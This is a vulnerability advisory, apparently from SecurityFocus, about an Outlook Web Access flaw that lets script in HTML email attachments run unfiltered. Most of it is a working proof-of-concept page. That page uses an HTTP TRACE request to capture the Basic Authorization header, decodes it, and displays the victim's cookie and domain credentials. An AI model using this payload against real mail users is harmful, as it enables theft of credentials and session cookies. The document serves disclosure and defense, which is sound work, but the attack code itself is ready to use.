source: http://www.securityfocus.com/bid/8113/info

OWA contains a vulnerability that may result in attacker-supplied script code executing within the context of the mail interface when processing e-mail containing HTML message attachments. 

It is possible to prevent filtering of the attachment by omitting a certain URI parameter from a generated URL.

If did parameter does not exist, no filtering will be performed. Unfiltered, the script code will execute if embedded in an HTML email opened by a user.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<BODY bgColor=#ffffff>
<script type="text/javascript">
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP")
xmlHttp.open("TRACE", "./", false)

xmlHttp.send()
xmlDoc=xmlHttp.responseText


str1=xmlHttp.responseText

splitString = str1.split("Authorization: Basic ")
str2=splitString[1]

var base64 = [
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', // 0 to 7
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', // 8 to 15
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', // 16 to 23
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', // 24 to 31
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', // 32 to 39
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', // 40 to 47
'w', 'x', 'y', 'z', '0', '1', '2', '3', // 48 to 55
'4', '5', '6', '7', '8', '9', '+', '/' ]; // 56 to 63

function reverseBase64 () {
var r = new Object();
for (var i = 0; i < 64; i++) {
r[base64[i]] = i;
}
return r;
}

var reversedBase64 = reverseBase64();

function decode (encStr) {
var charCodes = new Array();
var decStr = "";
for (var i = 0; i < encStr.length; i++)
charCodes[i] = reversedBase64[encStr.charAt(i)];
for (var i = 0; i < encStr.length; i += 4) {
var bits24 = ( charCodes [i] & 0xFF ) << 18;
bits24 |= ( charCodes [i + 1] & 0xFF ) << 12;
bits24 |= ( charCodes [i + 2] & 0xFF ) << 6;
bits24 |= ( charCodes [i + 3] & 0xFF ) << 0;
decStr += String.fromCharCode((bits24 & 0xFF0000) >> 16);
if (encStr.charAt(i + 2) != '=') // check for padding character =
decStr += String.fromCharCode((bits24 & 0xFF00) >> 8);
if (encStr.charAt(i + 3) != '=') // check for padding character =
decStr += String.fromCharCode((bits24 & 0xFF) >> 0);
}
return decStr;
}

document.write("Your cookie is: ");
document.write(document.cookie);
document.write("<BR>Your domain credentials are: ")
document.write(decode(str2));


</script>

<DIV><FONT face=Arial size=2><A
href="http://<IP_or_name_of_the_server>/exchange/<username>/<inbox_name>/<subject>.EML/
1_multipart/2_text.htm">http://www.ilikemarijuana.com</A></FONT></DIV></BODY></HTML>